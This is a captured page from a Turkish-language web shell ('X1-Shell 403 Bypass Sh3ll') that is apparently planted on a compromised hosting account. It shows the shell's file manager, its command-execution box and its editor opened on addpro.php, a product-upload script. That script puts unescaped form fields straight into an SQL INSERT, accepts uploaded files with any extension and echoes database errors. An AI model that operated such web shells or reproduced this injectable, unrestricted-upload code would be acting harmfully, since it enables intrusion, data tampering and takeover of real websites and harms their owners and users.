X1-Shell 403 Bypass Sh3ll
Aktif Dizin:
/
/
home
/
ecofarmsafrica
/
public_html
/
etherrexports.com
/
addcontrollert
Dosya Düzenle: addpro.php
<?php require '../DB/db.php'; if ($_SERVER["REQUEST_METHOD"] == "POST") { // Process form data $pname = isset($_POST['p_name']) ? str_replace("'", "\'", $_POST['p_name']) : ''; $pslug = isset($_POST['p_slug']) ? str_replace("'", "\'", $_POST['p_slug']) : ''; $pcat = isset($_POST['cat']) ? $_POST["cat"] : ''; $ptype = isset($_POST['type']) ? $_POST["type"] : ''; $pdes = isset($_POST['p_des']) ? $_POST["p_des"] : ''; $prefix = "pro_"; // You can change this prefix to anything you like $uniqueID = uniqid(); $slicedString = substr($uniqueID, 10); $pid = $prefix . $slicedString; // Function to sanitize file names function sanitizeFileName($fileName) { return str_replace(["'", " "], ["", "-"], $fileName); } // Check and process file uploads for p_img $p_img = ''; if(isset($_FILES['p_img']) && $_FILES['p_img']['error'] === UPLOAD_ERR_OK) { $imgName = sanitizeFileName($_FILES['p_img']['name']); $imgTemp = $_FILES['p_img']['tmp_name']; $p_img = $pid.'_'.$imgName; // Sanitized file name move_uploaded_file($imgTemp, '../imgupload/pUpload/' . $p_img); // Destination path } // Repeat the process for p_img1 $p_img1 = ''; if(isset($_FILES['p_img1']) && $_FILES['p_img1']['error'] === UPLOAD_ERR_OK) { $imgName1 = sanitizeFileName($_FILES['p_img1']['name']); $imgTemp1 = $_FILES['p_img1']['tmp_name']; $p_img1 = $pid.'_'.$imgName1; // Sanitized file name move_uploaded_file($imgTemp1, '../imgupload/pUpload/' . $p_img1); // Destination path } // Repeat the process for p_img2 $p_img2 = ''; if(isset($_FILES['p_img2']) && $_FILES['p_img2']['error'] === UPLOAD_ERR_OK) { $imgName2 = sanitizeFileName($_FILES['p_img2']['name']); $imgTemp2 = $_FILES['p_img2']['tmp_name']; $p_img2 = $pid.'_'.$imgName2; // Sanitized file name move_uploaded_file($imgTemp2, '../imgupload/pUpload/' . $p_img2); // Destination path } // Repeat the process for p_img3 $p_img3 = ''; if(isset($_FILES['p_img3']) && $_FILES['p_img3']['error'] === UPLOAD_ERR_OK) { $imgName3 = sanitizeFileName($_FILES['p_img3']['name']); $imgTemp3 = $_FILES['p_img3']['tmp_name']; $p_img3 = $pid.'_'.$imgName3; // Sanitized file name move_uploaded_file($imgTemp3, '../imgupload/pUpload/' . $p_img3); // Destination path } // Insert data into database $sql = "INSERT INTO `products`(`c_id`, `p_id`, `p_name`, `slug`, `p_img`, `p_img1`, `p_img2`,`p_img3`, `p_des`, `type`) VALUES ('$pcat', '$pid', '$pname', '$pslug', '$p_img', '$p_img1', '$p_img2', '$p_img3', '$pdes', '$ptype')"; if ($conn->query($sql) === TRUE) { header("Location: ../admin.php"); } else { echo "Error: " . $sql . "<br>" . $conn->error; } $conn->close(); } ?>
Değişiklikleri Kaydet
Yeni Dosya/Klasör Oluştur
Dosya
Klasör
Oluştur
Yeni Dosya Yükle (Mevcut Dizine)
Yükle
Adı
Tipi
Boyut
İşlemler
📁
.. (Üst Dizin)
📄 addcat.php
Dosya
1.25 KB
Düzenle
Yeniden Adlandır
Sil
Uygula
📄 addcont.php
Dosya
0.67 KB
Düzenle
Yeniden Adlandır
Sil
Uygula
📄 addpro.php
Dosya
2.9 KB
Düzenle
Yeniden Adlandır
Sil
Uygula
Sorun Giderme (Shell Erişimi)
Çalıştır